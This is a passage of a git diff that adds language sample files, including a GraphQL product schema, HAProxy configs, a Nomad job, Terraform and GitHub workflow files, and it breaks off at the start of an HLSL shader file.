+    meta_description: FilterTypeInput @doc(description: "A brief overview of the product for search results listings, maximum 255 characters")
+    image: FilterTypeInput @doc(description: "The relative path to the main image on the product page")
+    small_image: FilterTypeInput @doc(description: "The relative path to the small image, which is used on catalog pages")
+    thumbnail: FilterTypeInput @doc(description: "The relative path to the product's thumbnail image")
+    tier_price: FilterTypeInput @doc(description: "The price when tier pricing is in effect and the items purchased threshold has been reached")
+    news_from_date: FilterTypeInput @doc(description: "The beginning date for new product listings, and determines if the product is featured as a new product")
+    news_to_date: FilterTypeInput @doc(description: "The end date for new product listings")
+    custom_layout_update: FilterTypeInput @doc(description: "XML code that is applied as a layout update to the product page")
+    min_price: FilterTypeInput @doc(description:"The numeric minimal price of the product. Do not include the currency code.")
+    max_price: FilterTypeInput @doc(description:"The numeric maximal price of the product. Do not include the currency code.")
+    category_id: FilterTypeInput @doc(description: "Category ID the product belongs to")
+    options_container: FilterTypeInput @doc(description: "If the product has multiple options, determines where they appear on the product page")
+    required_options: FilterTypeInput @doc(description: "Indicates whether the product has required options")
+    has_options: FilterTypeInput @doc(description: "Indicates whether additional attributes have been created for the product")
+    image_label: FilterTypeInput @doc(description: "The label assigned to a product image")
+    small_image_label: FilterTypeInput @doc(description: "The label assigned to a product's small image")
+    thumbnail_label: FilterTypeInput @doc(description: "The label assigned to a product's thumbnail image")
+    created_at: FilterTypeInput @doc(description: "Timestamp indicating when the product was created")
+    updated_at: FilterTypeInput @doc(description: "Timestamp indicating when the product was updated")
+    country_of_manufacture: FilterTypeInput @doc(description: "The product's country of origin")
+    custom_layout: FilterTypeInput @doc(description: "The name of a custom layout")
+    gift_message_available: FilterTypeInput @doc(description: "Indicates whether a gift message is available")
+    or: ProductFilterInput @doc(description: "The keyword required to perform a logical OR comparison")
+}
+
+type ProductMediaGalleryEntriesContent @doc(description: "ProductMediaGalleryEntriesContent contains an image in base64 format and basic information about the image") {
+    base64_encoded_data: String @doc(description: "The image in base64 format")
+    type: String @doc(description: "The MIME type of the file, such as image/png")
+    name: String @doc(description: "The file name of the image")
+}
+
+type ProductMediaGalleryEntriesVideoContent @doc(description: "ProductMediaGalleryEntriesVideoContent contains a link to a video file and basic information about the video") {
+    media_type: String @doc(description: "Must be external-video")
+    video_provider: String @doc(description: "Describes the video source")
+    video_url: String @doc(description: "The URL to the video")
+    video_title: String @doc(description: "The title of the video")
+    video_description: String @doc(description: "A description of the video")
+    video_metadata: String @doc(description: "Optional data about the video")
+}
+
+input ProductSortInput  @doc(description: "ProductSortInput specifies the attribute to use for sorting search results and indicates whether the results are sorted in ascending or descending order") {
+    name: SortEnum @doc(description: "The product name. Customers use this name to identify the product.")
+    sku: SortEnum @doc(description: "A number or code assigned to a product to identify the product, options, price, and manufacturer")
+    description: SortEnum @doc(description: "Detailed information about the product. The value can include simple HTML tags.")
+    short_description: SortEnum @doc(description: "A short description of the product. Its use depends on the theme.")
+    price: SortEnum @doc(description: "The price of the item")
+    special_price: SortEnum @doc(description: "The discounted price of the product")
+    special_from_date: SortEnum @doc(description: "The beginning date that a product has a special price")
+    special_to_date: SortEnum @doc(description: "The end date that a product has a special price")
+    weight: SortEnum @doc(description: "The weight of the item, in units defined by the store")
+    manufacturer: SortEnum @doc(description: "A number representing the product's manufacturer")
+    meta_title: SortEnum @doc(description: "A string that is displayed in the title bar and tab of the browser and in search results lists")
+    meta_keyword: SortEnum @doc(description: "A comma-separated list of keywords that are visible only to search engines")
+    meta_description: SortEnum @doc(description: "A brief overview of the product for search results listings, maximum 255 characters")
+    image: SortEnum @doc(description: "The relative path to the main image on the product page")
+    small_image: SortEnum @doc(description: "The relative path to the small image, which is used on catalog pages")
+    thumbnail: SortEnum @doc(description: "The relative path to the product's thumbnail image")
+    tier_price: SortEnum @doc(description: "The price when tier pricing is in effect and the items purchased threshold has been reached")
+    news_from_date: SortEnum @doc(description: "The beginning date for new product listings, and determines if the product is featured as a new product")
+    news_to_date: SortEnum @doc(description: "The end date for new product listings")
+    custom_layout_update: SortEnum @doc(description: "XML code that is applied as a layout update to the product page")
+    options_container: SortEnum @doc(description: "If the product has multiple options, determines where they appear on the product page")
+    required_options: SortEnum @doc(description: "Indicates whether the product has required options")
+    has_options: SortEnum @doc(description: "Indicates whether additional attributes have been created for the product")
+    image_label: SortEnum @doc(description: "The label assigned to a product image")
+    small_image_label: SortEnum @doc(description: "The label assigned to a product's small image")
+    thumbnail_label: SortEnum @doc(description: "The label assigned to a product's thumbnail image")
+    created_at: SortEnum @doc(description: "Timestamp indicating when the product was created")
+    updated_at: SortEnum @doc(description: "Timestamp indicating when the product was updated")
+    country_of_manufacture: SortEnum @doc(description: "The product's country of origin")
+    custom_layout: SortEnum @doc(description: "The name of a custom layout")
+    gift_message_available: SortEnum @doc(description: "Indicates whether a gift message is available")
+}
+
+type MediaGalleryEntry  @doc(description: "MediaGalleryEntry defines characteristics about images and videos associated with a specific product") {
+    id: Int @doc(description: "The identifier assigned to the object")
+    media_type: String @doc(description: "image or video")
+    label: String @doc(description: "The alt text displayed on the UI when the user points to the image")
+    position: Int @doc(description: "The media item's position after it has been sorted")
+    disabled: Boolean @doc(description: "Whether the image is hidden from vie")
+    types: [String] @doc(description: "Array of image types. It can have the following values: image, small_image, thumbnail")
+    file: String @doc(description: "The path of the image on the server")
+    content: ProductMediaGalleryEntriesContent @doc(description: "Contains a ProductMediaGalleryEntriesContent object")
+    video_content: ProductMediaGalleryEntriesVideoContent @doc(description: "Contains a ProductMediaGalleryEntriesVideoContent object")
+}
+
+type LayerFilter {
+    name: String @doc(description: "Layered navigation filter name")
+    request_var: String @doc(description: "Request variable name for filter query")
+    filter_items_count: Int @doc(description: "Count of filter items in filter group")
+    filter_items: [LayerFilterItemInterface] @doc(description: "Array of filter items")
+}
+
+interface LayerFilterItemInterface @typeResolver(class: "Magento\\CatalogGraphQl\\Model\\LayerFilterItemTypeResolverComposite") {
+    label: String @doc(description: "Filter label")
+    value_string: String @doc(description: "Value for filter request variable to be used in query")
+    items_count: Int @doc(description: "Count of items by filter")
+}
+
+type LayerFilterItem implements LayerFilterItemInterface {
+
+}
+
+type SortField {
+    value: String @doc(description: "Attribute code of sort field")
+    label: String @doc(description: "Label of sort field")
+}
+
+type SortFields @doc(description: "SortFields contains a default value for sort fields and all available sort fields") {
+    default: String @doc(description: "Default value of sort fields")
+    options: [SortField] @doc(description: "Available sort fields")
+}
diff --git a/samples/Groff/sample.4 b/samples/Groff/sample.4
deleted file mode 100644
index 061dfc2e50..0000000000
--- a/samples/Groff/sample.4
+++ /dev/null
@@ -1,13 +0,0 @@
-.TH FOO 1
-.SH NAME
-foo \- bar
-.SH SYNOPSIS
-.B foo
-.I bar
-.SH DESCRIPTION
-Foo bar
-.BR baz
-quux.
-.PP
-.B Foo
-bar baz.
diff --git a/samples/HAProxy/haproxy.cfg b/samples/HAProxy/haproxy.cfg
new file mode 100644
index 0000000000..73e3db0634
--- /dev/null
+++ b/samples/HAProxy/haproxy.cfg
@@ -0,0 +1,57 @@
+# HAProxy configuration showing choosing a different backend for static files
+global
+    maxconn 50000
+    log /dev/log local0
+    log /dev/log local1 notice
+    user haproxy
+    group haproxy
+    stats socket /run/haproxy/admin.sock user haproxy group haproxy mode 660 level admin
+    nbproc 1
+    nbthread 4
+    cpu-map auto:1/1-4 0-3
+    ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
+    ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets
+
+defaults
+    timeout connect 5s
+    timeout client  5s
+    timeout server  5s
+    log global
+    mode http
+    option httplog
+    option dontlognull
+    errorfile 400 /etc/haproxy/errors/400.http
+    errorfile 403 /etc/haproxy/errors/403.http
+    errorfile 408 /etc/haproxy/errors/408.http
+    errorfile 500 /etc/haproxy/errors/500.http
+    errorfile 502 /etc/haproxy/errors/502.http
+    errorfile 503 /etc/haproxy/errors/503.http
+    errorfile 504 /etc/haproxy/errors/504.http
+
+frontend public
+    bind 10.0.0.3:80
+    bind 10.0.0.3:443 ssl crt /etc/ssl/certs/mysite.pem
+    redirect scheme https if !{ ssl_fc }
+    acl static_files path_end .gif .png .jpg .css .js .svg .ttf .woff .woff2
+    use_backend nginx if static_files
+    default_backend nodejs
+
+backend nodejs
+    balance roundrobin
+    cookie PHPSESSID prefix nocache
+    option httpchk HEAD /
+    default-server check maxconn 20
+    server server1 10.0.1.3:80 cookie server1
+    server server2 10.0.1.4:80 cookie server2 
+
+backend nginx
+    balance roundrobin
+    option httpchk HEAD /
+    server server1 10.0.1.5:80 check
+    server server2 10.0.1.6:80 check
+
+listen admin
+  bind 0.0.0.0:8404
+  stats enable
+  stats uri /monitor
+  stats refresh 5
diff --git a/samples/HAProxy/haproxy2.cfg b/samples/HAProxy/haproxy2.cfg
new file mode 100644
index 0000000000..23c8666e84
--- /dev/null
+++ b/samples/HAProxy/haproxy2.cfg
@@ -0,0 +1,52 @@
+# HAProxy configuration showing using Basic Auth on Stats page
+global
+    log /dev/log local0
+    log /dev/log local1 notice
+    chroot /var/lib/haproxy
+    stats socket /run/haproxy/admin.sock mode 660 level admin
+    stats timeout 30s
+    user haproxy
+    group haproxy
+    ca-base /etc/ssl/certs
+    crt-base /etc/ssl/private
+    ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
+    ssl-default-bind-options no-sslv3
+    description HAProxy Statistics Page
+
+defaults
+    log global
+    timeout connect 5000
+    timeout client  50000
+    timeout server  50000
+    mode http
+    option httplog
+    option dontlognull
+    balance roundrobin
+    errorfile 400 /etc/haproxy/errors/400.http
+    errorfile 403 /etc/haproxy/errors/403.http
+    errorfile 408 /etc/haproxy/errors/408.http
+    errorfile 500 /etc/haproxy/errors/500.http
+    errorfile 502 /etc/haproxy/errors/502.http
+    errorfile 503 /etc/haproxy/errors/503.http
+    errorfile 504 /etc/haproxy/errors/504.http
+
+frontend fe_main
+    bind :80
+    bind :443 ssl crt mysite.pem
+    http-request redirect scheme https unless ssl_fc
+    default_backend webservers
+
+backend webservers
+    server web1 192.168.0.3:80 check maxconn 20
+    server web2 192.168.0.4:80 check maxconn 20
+    server web3 192.168.0.5:80 check maxconn 20
+    server web4 192.168.0.6:80 check maxconn 20
+
+listen stats
+    bind :9999 ssl crt mycert.pem
+    stats enable
+    stats uri /report
+    stats refresh 30s
+    stats auth admin:password
+    stats show-desc
+    http-request deny unless { src 192.168.50.0/24 }
\ No newline at end of file
diff --git a/samples/HAProxy/haproxy3.cfg b/samples/HAProxy/haproxy3.cfg
new file mode 100644
index 0000000000..ca39b5be4f
--- /dev/null
+++ b/samples/HAProxy/haproxy3.cfg
@@ -0,0 +1,36 @@
+# HAProxy configuration showing load balancing TCP
+global
+    log 192.168.50.2:514 local0 info
+    chroot /var/lib/haproxy
+    user haproxy
+    group haproxy
+
+defaults
+    log global
+    mode tcp
+    balance leastconn
+    option tcplog
+    timeout connect 5s
+    timeout client  5m
+    timeout server  5m
+
+frontend fe_mysql
+    bind *:3306
+    default_backend be_mysql
+
+backend be_mysql
+    stick-table type ip size 1m expire 1h
+    stick match src
+    stick store-request src
+    log-tag mysql
+    server db1 192.168.50.10:3306 check slowstart 60s weight 1
+    server db2 192.168.50.11:3306 check slowstart 60s weight 3
+    server db3 192.168.50.12:3306 check slowstart 60s backup
+    server db4 192.168.50.13:3306 check slowstart 60s backup
+
+listen stats
+    bind :9999 ssl crt /etc/ssl/certs/mycert.pem
+    stats enable
+    stats uri /report
+    stats refresh 30s
+    http-request deny unless { src 192.168.50.0/24 }
\ No newline at end of file
diff --git a/samples/HAProxy/haproxy4.cfg b/samples/HAProxy/haproxy4.cfg
new file mode 100644
index 0000000000..c6fa770c53
--- /dev/null
+++ b/samples/HAProxy/haproxy4.cfg
@@ -0,0 +1,35 @@
+# HAProxy configuration showing redirecting to different backends
+global
+    log 192.168.50.2:514 local0
+    chroot /var/lib/haproxy
+    user haproxy
+    group haproxy
+    ssl-default-bind-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
+    ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets
+
+defaults
+    log global
+    option httplog
+    timeout connect 5s
+    timeout client  1m
+    timeout server  1m
+
+frontend mywebsite
+    bind :80
+    balance roundrobin
+    mode http
+    acl apipath path_beg /api/
+    acl apihost req.hdr(Host) -i -m dom api.mywebsite.com
+    redirect prefix http://api.mywebsite.com if apipath
+    use_backend apiservers if apihost
+    default_backend webservers
+
+backend webservers
+    option httpchk HEAD /health
+    server web1 192.168.0.3:80 check maxconn 20
+    server web2 192.168.0.4:80 check maxconn 20
+
+backend apiservers
+    option httpchk HEAD /health
+    server api1 192.168.0.10:80 check maxconn 20
+    server api2 192.168.0.11:80 check maxconn 20
\ No newline at end of file
diff --git a/samples/HCL/example.nomad b/samples/HCL/example.nomad
new file mode 100644
index 0000000000..1b96bbb4fd
--- /dev/null
+++ b/samples/HCL/example.nomad
@@ -0,0 +1,308 @@
+# There can only be a single job definition per file. This job is named
+# "example" so it will create a job with the ID and Name "example".
+
+# The "job" stanza is the top-most configuration option in the job
+# specification. A job is a declarative specification of tasks that Nomad
+# should run. Jobs have a globally unique name, one or many task groups, which
+# are themselves collections of one or many tasks.
+#
+# For more information and examples on the "job" stanza, please see
+# the online documentation at:
+#
+#     https://www.nomadproject.io/docs/job-specification/job.html
+#
+job "example" {
+  # The "region" parameter specifies the region in which to execute the job. If
+  # omitted, this inherits the default region name of "global".
+  # region = "global"
+
+  # The "datacenters" parameter specifies the list of datacenters which should
+  # be considered when placing this task. This must be provided.
+  datacenters = ["dc1"]
+
+  # The "type" parameter controls the type of job, which impacts the scheduler's
+  # decision on placement. This configuration is optional and defaults to
+  # "service". For a full list of job types and their differences, please see
+  # the online documentation.
+  #
+  # For more information, please see the online documentation at:
+  #
+  #     https://www.nomadproject.io/docs/jobspec/schedulers.html
+  #
+  type = "service"
+
+  # The "constraint" stanza defines additional constraints for placing this job,
+  # in addition to any resource or driver constraints. This stanza may be placed
+  # at the "job", "group", or "task" level, and supports variable interpolation.
+  #
+  # For more information and examples on the "constraint" stanza, please see
+  # the online documentation at:
+  #
+  #     https://www.nomadproject.io/docs/job-specification/constraint.html
+  #
+  # constraint {
+  #   attribute = "${attr.kernel.name}"
+  #   value     = "linux"
+  # }
+
+  # The "update" stanza specifies the update strategy of task groups. The update
+  # strategy is used to control things like rolling upgrades, canaries, and
+  # blue/green deployments. If omitted, no update strategy is enforced. The
+  # "update" stanza may be placed at the job or task group. When placed at the
+  # job, it applies to all groups within the job. When placed at both the job and
+  # group level, the stanzas are merged with the group's taking precedence.
+  #
+  # For more information and examples on the "update" stanza, please see
+  # the online documentation at:
+  #
+  #     https://www.nomadproject.io/docs/job-specification/update.html
+  #
+  update {
+    # The "max_parallel" parameter specifies the maximum number of updates to
+    # perform in parallel. In this case, this specifies to update a single task
+    # at a time.
+    max_parallel = 1
+    
+    # The "min_healthy_time" parameter specifies the minimum time the allocation
+    # must be in the healthy state before it is marked as healthy and unblocks
+    # further allocations from being updated.
+    min_healthy_time = "10s"
+    
+    # The "healthy_deadline" parameter specifies the deadline in which the
+    # allocation must be marked as healthy after which the allocation is
+    # automatically transitioned to unhealthy. Transitioning to unhealthy will
+    # fail the deployment and potentially roll back the job if "auto_revert" is
+    # set to true.
+    healthy_deadline = "3m"
+    
+    # The "auto_revert" parameter specifies if the job should auto-revert to the
+    # last stable job on deployment failure. A job is marked as stable if all the
+    # allocations as part of its deployment were marked healthy.
+    auto_revert = false
+    
+    # The "canary" parameter specifies that changes to the job that would result
+    # in destructive updates should create the specified number of canaries
+    # without stopping any previous allocations. Once the operator determines the
+    # canaries are healthy, they can be promoted which unblocks a rolling update
+    # of the remaining allocations at a rate of "max_parallel".
+    #
+    # Further, setting "canary" equal to the count of the task group allows
+    # blue/green deployments. When the job is updated, a full set of the new
+    # version is deployed and upon promotion the old version is stopped.
+    canary = 0
+  }
+
+  # The "group" stanza defines a series of tasks that should be co-located on
+  # the same Nomad client. Any task within a group will be placed on the same
+  # client.
+  #
+  # For more information and examples on the "group" stanza, please see
+  # the online documentation at:
+  #
+  #     https://www.nomadproject.io/docs/job-specification/group.html
+  #
+  group "cache" {
+    # The "count" parameter specifies the number of the task groups that should
+    # be running under this group. This value must be non-negative and defaults
+    # to 1.
+    count = 3
+
+    # The "restart" stanza configures a group's behavior on task failure. If
+    # left unspecified, a default restart policy is used based on the job type.
+    #
+    # For more information and examples on the "restart" stanza, please see
+    # the online documentation at:
+    #
+    #     https://www.nomadproject.io/docs/job-specification/restart.html
+    #
+    restart {
+      # The number of attempts to run the job within the specified interval.
+      attempts = 10
+      interval = "5m"
+
+      # The "delay" parameter specifies the duration to wait before restarting
+      # a task after it has failed.
+      delay = "25s"
+
+     # The "mode" parameter controls what happens when a task has restarted
+     # "attempts" times within the interval. "delay" mode delays the next
+     # restart until the next interval. "fail" mode does not restart the task
+     # if "attempts" has been hit within the interval.
+      mode = "delay"
+    }
+
+    # The "ephemeral_disk" stanza instructs Nomad to utilize an ephemeral disk
+    # instead of a hard disk requirement. Clients using this stanza should
+    # not specify disk requirements in the resources stanza of the task. All
+    # tasks in this group will share the same ephemeral disk.
+    #
+    # For more information and examples on the "ephemeral_disk" stanza, please
+    # see the online documentation at:
+    #
+    #     https://www.nomadproject.io/docs/job-specification/ephemeral_disk.html
+    #
+    ephemeral_disk {
+      # When sticky is true and the task group is updated, the scheduler
+      # will prefer to place the updated allocation on the same node and
+      # will migrate the data. This is useful for tasks that store data
+      # that should persist across allocation updates.
+      # sticky = true
+      # 
+      # Setting migrate to true results in the allocation directory of a
+      # sticky allocation directory to be migrated.
+      # migrate = true
+
+      # The "size" parameter specifies the size in MB of shared ephemeral disk
+      # between tasks in the group.
+      size = 300
+    }
+
+    # The "task" stanza creates an individual unit of work, such as a Docker
+    # container, web application, or batch processing.
+    #
+    # For more information and examples on the "task" stanza, please see
+    # the online documentation at:
+    #
+    #     https://www.nomadproject.io/docs/job-specification/task.html
+    #
+    task "redis" {
+      # The "driver" parameter specifies the task driver that should be used to
+      # run the task.
+      driver = "docker"
+
+      # The "config" stanza specifies the driver configuration, which is passed
+      # directly to the driver to start the task. The details of configurations
+      # are specific to each driver, so please see specific driver
+      # documentation for more information.
+      config {
+        image = "redis:4.0"
+        port_map {
+          db = 6379
+        }
+      }
+
+      # The "artifact" stanza instructs Nomad to download an artifact from a
+      # remote source prior to starting the task. This provides a convenient
+      # mechanism for downloading configuration files or data needed to run the
+      # task. It is possible to specify the "artifact" stanza multiple times to
+      # download multiple artifacts.
+      #
+      # For more information and examples on the "artifact" stanza, please see
+      # the online documentation at:
+      #
+      #     https://www.nomadproject.io/docs/job-specification/artifact.html
+      #
+      # artifact {
+      #   source = "http://foo.com/artifact.tar.gz"
+      #   options {
+      #     checksum = "md5:c4aa853ad2215426eb7d70a21922e794"
+      #   }
+      # }
+
+      # The "logs" stanza instructs the Nomad client on how many log files and
+      # the maximum size of those logs files to retain. Logging is enabled by
+      # default, but the "logs" stanza allows for finer-grained control over
+      # the log rotation and storage configuration.
+      #
+      # For more information and examples on the "logs" stanza, please see
+      # the online documentation at:
+      #
+      #     https://www.nomadproject.io/docs/job-specification/logs.html
+      #
+      # logs {
+      #   max_files     = 10
+      #   max_file_size = 15
+      # }
+
+      # The "resources" stanza describes the requirements a task needs to
+      # execute. Resource requirements include memory, network, cpu, and more.
+      # This ensures the task will execute on a machine that contains enough
+      # resource capacity.
+      #
+      # For more information and examples on the "resources" stanza, please see
+      # the online documentation at:
+      #
+      #     https://www.nomadproject.io/docs/job-specification/resources.html
+      #
+      resources {
+        cpu    = 500 # 500 MHz
+        memory = 256 # 256MB
+        network {
+          mbits = 10
+          port "db" {}
+        }
+      }
+
+      # The "service" stanza instructs Nomad to register this task as a service
+      # in the service discovery engine, which is currently Consul. This will
+      # make the service addressable after Nomad has placed it on a host and
+      # port.
+      #
+      # For more information and examples on the "service" stanza, please see
+      # the online documentation at:
+      #
+      #     https://www.nomadproject.io/docs/job-specification/service.html
+      #
+      service {
+        name = "global-redis-check"
+        tags = ["global", "cache"]
+        port = "db"
+        check {
+          name     = "alive"
+          type     = "tcp"
+          interval = "10s"
+          timeout  = "2s"
+        }
+      }
+
+      # The "template" stanza instructs Nomad to manage a template, such as
+      # a configuration file or script. This template can optionally pull data
+      # from Consul or Vault to populate runtime configuration data.
+      #
+      # For more information and examples on the "template" stanza, please see
+      # the online documentation at:
+      #
+      #     https://www.nomadproject.io/docs/job-specification/template.html
+      #
+      # template {
+      #   data          = "---\nkey: {{ key \"service/my-key\" }}"
+      #   destination   = "local/file.yml"
+      #   change_mode   = "signal"
+      #   change_signal = "SIGHUP"
+      # }
+
+      # The "template" stanza can also be used to create environment variables
+      # for tasks that prefer those to config files. The task will be restarted
+      # when data pulled from Consul or Vault changes.
+      #
+      # template {
+      #   data        = "KEY={{ key \"service/my-key\" }}"
+      #   destination = "local/file.env"
+      #   env         = true
+      # }
+
+      # The "vault" stanza instructs the Nomad client to acquire a token from
+      # a HashiCorp Vault server. The Nomad servers must be configured and
+      # authorized to communicate with Vault. By default, Nomad will inject
+      # The token into the job via an environment variable and make the token
+      # available to the "template" stanza. The Nomad client handles the renewal
+      # and revocation of the Vault token.
+      #
+      # For more information and examples on the "vault" stanza, please see
+      # the online documentation at:
+      #
+      #     https://www.nomadproject.io/docs/job-specification/vault.html
+      #
+      # vault {
+      #   policies      = ["cdn", "frontend"]
+      #   change_mode   = "signal"
+      #   change_signal = "SIGHUP"
+      # }
+
+      # Controls the timeout between signalling a task it will be killed
+      # and killing the task. If not set a default is used.
+      # kill_timeout = "20s"
+    }
+  }
+}
+
diff --git a/samples/HCL/main.tf b/samples/HCL/main.tf
new file mode 100644
index 0000000000..66db9807ec
--- /dev/null
+++ b/samples/HCL/main.tf
@@ -0,0 +1,135 @@
+resource "aws_security_group" "elb_sec_group" {
+  description = "Allow traffic from the internet to ELB port 80"
+  vpc_id = "${var.vpc_id}"
+
+  ingress {
+      from_port = 80
+      to_port = 80
+      protocol = "tcp"
+      cidr_blocks = ["${split(",", var.allowed_cidr_blocks)}"]
+  }
+
+  egress {
+      from_port = 0
+      to_port = 0
+      protocol = "-1"
+      cidr_blocks = ["0.0.0.0/0"]
+  }
+}
+
+resource "aws_security_group" "dokku_allow_ssh_from_internal" {
+  description = "Allow git access over ssh from the private subnet"
+  vpc_id = "${var.vpc_id}"
+
+  ingress {
+      from_port = 22
+      to_port = 22
+      protocol = "tcp"
+      cidr_blocks = ["${var.private_subnet_cidr}"]
+  }
+
+  egress {
+      from_port = 0
+      to_port = 0
+      protocol = "-1"
+      cidr_blocks = ["0.0.0.0/0"]
+  }
+}
+
+resource "aws_security_group" "allow_from_elb_to_instance" {
+  description = "Allow traffic from the ELB to the private instance"
+  vpc_id = "${var.vpc_id}"
+
+  ingress {
+      security_groups = ["${aws_security_group.elb_sec_group.id}"]
+      from_port = 80
+      to_port = 80
+      protocol = "tcp"
+  }
+
+  egress {
+      from_port = 0
+      to_port = 0
+      protocol = "-1"
+      cidr_blocks = ["0.0.0.0/0"]
+  }
+}
+
+resource "aws_instance" "dokku" {
+  ami = "ami-47a23a30"
+  instance_type = "${var.instance_type}"
+  associate_public_ip_address = false
+  key_name = "${var.key_name}"
+  subnet_id = "${var.private_subnet_id}"
+  vpc_security_group_ids = [
+    "${var.bastion_sec_group_id}",
+    "${aws_security_group.allow_from_elb_to_instance.id}",
+    "${aws_security_group.dokku_allow_ssh_from_internal.id}"
+  ]
+  tags {
+    Name = "${var.name}"
+  }
+  connection {
+    user = "ubuntu"
+    private_key = "${var.private_key}"
+    bastion_host = "${var.bastion_host}"
+    bastion_port = "${var.bastion_port}"
+    bastion_user = "${var.bastion_user}"
+    bastion_private_key = "${var.bastion_private_key}"
+  }
+  provisioner "file" {
+    source = "${path.module}/../scripts/install-dokku.sh"
+    destination = "/home/ubuntu/install-dokku.sh"
+  }
+  provisioner "remote-exec" {
+    inline = [
+      "chmod +x /home/ubuntu/install-dokku.sh",
+      "HOSTNAME=${var.hostname} /home/ubuntu/install-dokku.sh"
+    ]
+  }
+}
+
+resource "aws_elb" "elb_dokku" {
+  name = "elb-dokku-${var.name}"
+  subnets = ["${var.public_subnet_id}"]
+  security_groups = ["${aws_security_group.elb_sec_group.id}"]
+
+  listener {
+    instance_port = 80
+    instance_protocol = "http"
+    lb_port = 80
+    lb_protocol = "http"
+  }
+
+  health_check {
+    healthy_threshold = 2
+    unhealthy_threshold = 2
+    timeout = 3
+    target = "HTTP:80/"
+    interval = 30
+  }
+
+  instances = ["${aws_instance.dokku.id}"]
+  cross_zone_load_balancing = false
+  idle_timeout = 400
+
+  tags {
+    Name = "elb-dokku-${var.name}"
+  }
+}
+
+resource "aws_route53_record" "dokku-deploy" {
+   zone_id = "${var.zone_id}"
+   name = "deploy.${var.hostname}"
+   type = "A"
+   ttl = "300"
+   records = ["${aws_instance.dokku.private_ip}"]
+}
+
+resource "aws_route53_record" "dokku-wildcard" {
+   zone_id = "${var.zone_id}"
+   name = "*.${var.hostname}"
+   type = "CNAME"
+   ttl = "300"
+   records = ["${aws_elb.elb_dokku.dns_name}"]
+}
\ No newline at end of file
diff --git a/samples/HCL/main.workflow b/samples/HCL/main.workflow
new file mode 100644
index 0000000000..0be2a4879b
--- /dev/null
+++ b/samples/HCL/main.workflow
@@ -0,0 +1,49 @@
+workflow "Build and Publish" {
+  on = "push"
+  resolves = "Docker Publish"
+}
+
+action "Shell Lint" {
+  uses = "actions/bin/shellcheck@master"
+  args = "entrypoint.sh"
+}
+
+action "Test" {
+  uses = "actions/bin/bats@master"
+  args = "test/*.bats"
+}
+
+action "Docker Lint" {
+  uses = "docker://replicated/dockerfilelint"
+  args = ["Dockerfile"]
+}
+
+action "Build" {
+  needs = ["Shell Lint", "Test", "Docker Lint"]
+  uses = "actions/docker/cli@master"
+  args = "build -t heroku ."
+}
+
+action "Docker Tag" {
+  needs = ["Build"]
+  uses = "actions/docker/tag@master"
+  args = "heroku github/heroku --no-latest"
+}
+
+action "Publish Filter" {
+  needs = ["Build"]
+  uses = "actions/bin/filter@master"
+  args = "branch master"
+}
+
+action "Docker Login" {
+  needs = ["Publish Filter"]
+  uses = "actions/docker/login@master"
+  secrets = ["DOCKER_USERNAME", "DOCKER_PASSWORD"]
+}
+
+action "Docker Publish" {
+  needs = ["Docker Tag", "Docker Login"]
+  uses = "actions/docker/cli@master"
+  args = "push github/heroku"
+}
diff --git a/samples/HCL/terraform.tfvars b/samples/HCL/terraform.tfvars
new file mode 100644
index 0000000000..d6cd1eb14c
--- /dev/null
+++ b/samples/HCL/terraform.tfvars
@@ -0,0 +1,58 @@
+# Terragrunt is a thin wrapper for Terraform that provides extra tools for working with multiple Terraform modules,
+# remote state, and locking: https://github.com/gruntwork-io/terragrunt
+terragrunt = {
+  # Configure Terragrunt to automatically store tfstate files in an S3 bucket
+  remote_state {
+    backend = "s3"
+    config {
+      encrypt        = true
+      bucket         = "acme-main-terraform-state"
+      key            = "${path_relative_to_include()}/terraform.tfstate"
+      region         = "us-east-1"
+      dynamodb_table = "terraform-locks"
+    }
+  }
+
+  # Configure Terragrunt to use common var files to help you keep often-repeated variables (e.g., account ID) DRY.
+  # Note that even though Terraform automatically pulls in terraform.tfvars, we include it explicitly at the end of the
+  # list to make sure its variables override anything in the common var files.
+  terraform {
+    extra_arguments "common_vars" {
+      commands = ["${get_terraform_commands_that_need_vars()}"]
+
+      optional_var_files = [
+        "${get_tfvars_dir()}/${find_in_parent_folders("account.tfvars", "skip-account-if-does-not-exist")}",
+        "${get_tfvars_dir()}/${find_in_parent_folders("region.tfvars", "skip-region-if-does-not-exist")}",
+        "${get_tfvars_dir()}/${find_in_parent_folders("env.tfvars", "skip-env-if-does-not-exist")}",
+        "${get_tfvars_dir()}/terraform.tfvars"
+      ]
+    }
+  }
+}
+
+key1 = "val1"
+key2 = 0
+key3 = 1
+key4 = true
+
+# Sample comments
+key5 = false
+
+key6 = ["hello", "from", "gruntwork.io"]
+
+key7 = {
+  key1 = "hello"
+  key2 = "from"
+  key3 = "gruntwork.io"
+}
+
+key8 = [
+  {
+    keyA = "hello"
+    keyB = "there"
+  },
+  {
+    keyA = "hello"
+    keyB = "there"
+  }
+]
\ No newline at end of file
diff --git a/samples/HLSL/bloom.cginc b/samples/HLSL/bloom.cginc
new file mode 100644
index 0000000000..207ec8d358
--- /dev/null
+++ b/samples/HLSL/bloom.cginc
@@ -0,0 +1,89 @@
